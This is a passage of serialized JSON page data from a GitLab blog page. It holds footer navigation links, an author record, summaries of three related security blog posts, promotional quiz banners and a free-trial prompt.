Duo",{"text":802,"config":1186},{"href":1187,"dataGaName":1188,"dataGaLocation":1189},"https://about.gitlab.com/blog/gitlab-duo-agent-platform-delivers-400-percent-roi/","forrester-tei-dap-banner","global-banner",{"layout":1191,"disabled":748},"release",{"data":1193},{"text":1194,"source":1195,"edit":1201,"contribute":1206,"config":1211,"items":1216,"minimal":1426},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":1196,"config":1197},"View page source",{"href":1198,"dataGaName":1199,"dataGaLocation":1200},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":1202,"config":1203},"Edit this page",{"href":1204,"dataGaName":1205,"dataGaLocation":1200},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":1207,"config":1208},"Please contribute",{"href":1209,"dataGaName":1210,"dataGaLocation":1200},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":1212,"facebook":1213,"youtube":1214,"linkedin":1215},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[1217,1264,1318,1362,1394],{"title":906,"links":1218,"subMenu":1233},[1219,1223,1228],{"text":1220,"config":1221},"View plans",{"href":908,"dataGaName":1222,"dataGaLocation":1200},"view plans",{"text":1224,"config":1225},"Why Premium?",{"href":1226,"dataGaName":1227,"dataGaLocation":1200},"/pricing/premium/","why premium",{"text":1229,"config":1230},"Why Ultimate?",{"href":1231,"dataGaName":1232,"dataGaLocation":1200},"/pricing/ultimate/","why ultimate",[1234],{"title":1235,"links":1236},"Contact Us",[1237,1240,1242,1244,1249,1254,1259],{"text":1238,"config":1239},"Contact sales",{"href":1090,"dataGaName":770,"dataGaLocation":1200},{"text":1093,"config":1241},{"href":1095,"dataGaName":1096,"dataGaLocation":1200},{"text":1098,"config":1243},{"href":1100,"dataGaName":1101,"dataGaLocation":1200},{"text":1245,"config":1246},"Status",{"href":1247,"dataGaName":1248,"dataGaLocation":1200},"https://status.gitlab.com/","status",{"text":1250,"config":1251},"Terms of use",{"href":1252,"dataGaName":1253,"dataGaLocation":1200},"/terms/","terms of use",{"text":1255,"config":1256},"Privacy statement",{"href":1257,"dataGaName":1258,"dataGaLocation":1200},"/privacy/","privacy statement",{"text":1260,"config":1261},"Cookie preferences",{"dataGaName":1262,"dataGaLocation":1200,"id":1263,"isOneTrustButton":743},"cookie preferences","ot-sdk-btn",{"title":807,"links":1265,"subMenu":1274},[1266,1270],{"text":1267,"config":1268},"DevSecOps platform",{"href":789,"dataGaName":1269,"dataGaLocation":1200},"devsecops platform",{"text":1271,"config":1272},"AI-Assisted Development",{"href":796,"dataGaName":1273,"dataGaLocation":1200},"ai-assisted development",[1275],{"title":1276,"links":1277},"Topics",[1278,1283,1288,1293,1298,1303,1308,1313],{"text":1279,"config":1280},"CICD",{"href":1281,"dataGaName":1282,"dataGaLocation":1200},"/topics/ci-cd/","cicd",{"text":1284,"config":1285},"GitOps",{"href":1286,"dataGaName":1287,"dataGaLocation":1200},"/topics/gitops/","gitops",{"text":1289,"config":1290},"DevOps",{"href":1291,"dataGaName":1292,"dataGaLocation":1200},"/topics/devops/","devops",{"text":1294,"config":1295},"Version Control",{"href":1296,"dataGaName":1297,"dataGaLocation":1200},"/topics/version-control/","version control",{"text":1299,"config":1300},"DevSecOps",{"href":1301,"dataGaName":1302,"dataGaLocation":1200},"/topics/devsecops/","devsecops",{"text":1304,"config":1305},"Cloud Native",{"href":1306,"dataGaName":1307,"dataGaLocation":1200},"/topics/cloud-native/","cloud native",{"text":1309,"config":1310},"AI for Coding",{"href":1311,"dataGaName":1312,"dataGaLocation":1200},"/topics/devops/ai-for-coding/","ai for coding",{"text":1314,"config":1315},"Agentic AI",{"href":1316,"dataGaName":1317,"dataGaLocation":1200},"/topics/agentic-ai/","agentic ai",{"title":1319,"links":1320},"Solutions",[1321,1323,1325,1330,1334,1337,1341,1344,1346,1349,1352,1357],{"text":633,"config":1322},{"href":846,"dataGaName":633,"dataGaLocation":1200},{"text":840,"config":1324},{"href":823,"dataGaName":824,"dataGaLocation":1200},{"text":1326,"config":1327},"Agile development",{"href":1328,"dataGaName":1329,"dataGaLocation":1200},"/solutions/agile-delivery/","agile delivery",{"text":1331,"config":1332},"SCM",{"href":836,"dataGaName":1333,"dataGaLocation":1200},"source code management",{"text":1279,"config":1335},{"href":829,"dataGaName":1336,"dataGaLocation":1200},"continuous integration & delivery",{"text":1338,"config":1339},"Value stream management",{"href":878,"dataGaName":1340,"dataGaLocation":1200},"value stream management",{"text":1284,"config":1342},{"href":1343,"dataGaName":1287,"dataGaLocation":1200},"/solutions/gitops/",{"text":888,"config":1345},{"href":891,"dataGaName":892,"dataGaLocation":1200},{"text":1347,"config":1348},"Small business",{"href":897,"dataGaName":898,"dataGaLocation":1200},{"text":1350,"config":1351},"Public sector",{"href":903,"dataGaName":904,"dataGaLocation":1200},{"text":1353,"config":1354},"Education",{"href":1355,"dataGaName":1356,"dataGaLocation":1200},"/solutions/education/","education",{"text":1358,"config":1359},"Financial services",{"href":1360,"dataGaName":1361,"dataGaLocation":1200},"/solutions/finance/","financial services",{"title":911,"links":1363},[1364,1366,1368,1370,1373,1375,1378,1380,1382,1384,1386,1388,1390,1392],{"text":924,"config":1365},{"href":926,"dataGaName":927,"dataGaLocation":1200},{"text":929,"config":1367},{"href":931,"dataGaName":932,"dataGaLocation":1200},{"text":934,"config":1369},{"href":936,"dataGaName":937,"dataGaLocation":1200},{"text":939,"config":1371},{"href":941,"dataGaName":1372,"dataGaLocation":1200},"docs",{"text":962,"config":1374},{"href":964,"dataGaName":965,"dataGaLocation":1200},{"text":1376,"config":1377},"What's new",{"href":1022,"dataGaName":1023,"dataGaLocation":1200},{"text":957,"config":1379},{"href":959,"dataGaName":960,"dataGaLocation":1200},{"text":976,"config":1381},{"href":978,"dataGaName":979,"dataGaLocation":1200},{"text":984,"config":1383},{"href":986,"dataGaName":987,"dataGaLocation":1200},{"text":989,"config":1385},{"href":991,"dataGaName":992,"dataGaLocation":1200},{"text":994,"config":1387},{"href":996,"dataGaName":997,"dataGaLocation":1200},{"text":999,"config":1389},{"href":1001,"dataGaName":1002,"dataGaLocation":1200},{"text":1004,"config":1391},{"href":1006,"dataGaName":1007,"dataGaLocation":1200},{"text":1009,"config":1393},{"href":1011,"dataGaName":1012,"dataGaLocation":1200},{"title":1025,"links":1395},[1396,1398,1400,1402,1404,1406,1410,1415,1417,1419,1421],{"text":1033,"config":1397},{"href":1035,"dataGaName":1027,"dataGaLocation":1200},{"text":1038,"config":1399},{"href":1040,"dataGaName":1041,"dataGaLocation":1200},{"text":1046,"config":1401},{"href":1048,"dataGaName":1049,"dataGaLocation":1200},{"text":1051,"config":1403},{"href":1053,"dataGaName":1054,"dataGaLocation":1200},{"text":1056,"config":1405},{"href":1058,"dataGaName":1059,"dataGaLocation":1200},{"text":1407,"config":1408},"Sustainability",{"href":1409,"dataGaName":1407,"dataGaLocation":1200},"/sustainability/",{"text":1411,"config":1412},"Diversity, inclusion and belonging (DIB)",{"href":1413,"dataGaName":1414,"dataGaLocation":1200},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":1061,"config":1416},{"href":1063,"dataGaName":1064,"dataGaLocation":1200},{"text":1071,"config":1418},{"href":1073,"dataGaName":1074,"dataGaLocation":1200},{"text":1076,"config":1420},{"href":1078,"dataGaName":1079,"dataGaLocation":1200},{"text":1422,"config":1423},"Modern Slavery Transparency Statement",{"href":1424,"dataGaName":1425,"dataGaLocation":1200},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1427},[1428,1431,1434],{"text":1429,"config":1430},"Terms",{"href":1252,"dataGaName":1253,"dataGaLocation":1200},{"text":1432,"config":1433},"Cookies",{"dataGaName":1262,"dataGaLocation":1200,"id":1263,"isOneTrustButton":743},{"text":1435,"config":1436},"Privacy",{"href":1257,"dataGaName":1258,"dataGaLocation":1200},[1438],{"id":1439,"title":7,"body":742,"config":1440,"content":1442,"description":742,"extension":1446,"meta":1447,"navigation":743,"path":1448,"seo":1449,"stem":1450,"__hash__":1451},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":1441},"BlogAuthor",{"name":7,"config":1443},{"headshot":1444,"ctfId":1445},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX","yml",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",[1453,1461,1469],{"title":1454,"description":1455,"heroImage":1456,"category":738,"date":1457,"authors":1458,"slug":1460,"externalUrl":742},"How GitLab tracks vulnerabilities through refactors and reformatting","Learn how GitLab's improved Scope+Offset fingerprinting keeps vulnerability tracking stable across comments, blank lines, and reformatting.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","2026-08-12",[1459],"Julian Thome","improved-scope-offset-fingerprinting",{"title":1462,"description":1463,"heroImage":1456,"category":738,"date":1464,"authors":1465,"slug":1468,"externalUrl":742},"GitLab Secrets Manager adds ESO, Terraform, API support","Simplify credential management across your stack. GitLab Secrets Manager provides secure retrieval in Kubernetes, Terraform, and external workflows.","2026-08-06",[1466,1467],"Erick Bajao","Joe Randazzo","gitlab-secrets-manager-add-eso-terraform-api-support",{"title":1470,"description":1471,"heroImage":1472,"category":738,"date":1473,"authors":1474,"slug":1476,"externalUrl":742},"Secure every commit to production with Claude and GitLab","Claude Security catches vulnerabilities inside a coding session. GitLab picks up from there, scanning, enforcing policy, and producing audit evidence for the software lifecycle. ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756122536/akivvcnafog9c4dhhzkp.png","2026-08-03",[1475],"Alisa Ho","claude-security-and-gitlab",{"promotions":1478},[1479,1493,1504,1515],{"id":1480,"categories":1481,"header":1483,"text":1484,"button":1485,"image":1490},"ai-modernization",[1482],"ai","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":1486,"config":1487},"Get your AI maturity score",{"href":1488,"dataGaName":1489,"dataGaLocation":965},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":1491},{"src":1492},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":1494,"categories":1495,"header":1496,"text":1484,"button":1497,"image":1501},"devops-modernization",[752,1302],"Are you just managing tools or shipping innovation?",{"text":1498,"config":1499},"Get your DevOps maturity score",{"href":1500,"dataGaName":1489,"dataGaLocation":965},"/assessments/devops-modernization-assessment/",{"config":1502},{"src":1503},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":1505,"categories":1506,"header":1507,"text":1484,"button":1508,"image":1512},"security-modernization",[738],"Are you trading speed for security?",{"text":1509,"config":1510},"Get your security maturity score",{"href":1511,"dataGaName":1489,"dataGaLocation":965},"/assessments/security-modernization-assessment/",{"config":1513},{"src":1514},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":1516,"paths":1517,"header":1520,"text":1521,"button":1522,"image":1527},"github-azure-migration",[1518,1519],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":1523,"config":1524},"See how GitLab compares to GitHub",{"href":1525,"dataGaName":1526,"dataGaLocation":965},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":1528},{"src":1503},{"header":1530,"blurb":1531,"button":1532,"secondaryButton":1537},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":1533,"config":1534},"Get your free trial",{"href":1535,"dataGaName":765,"dataGaLocation":1536},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":1238,"config":1538},{"href":1090,"dataGaName":770,"dataGaLocation":1536},1786803769411]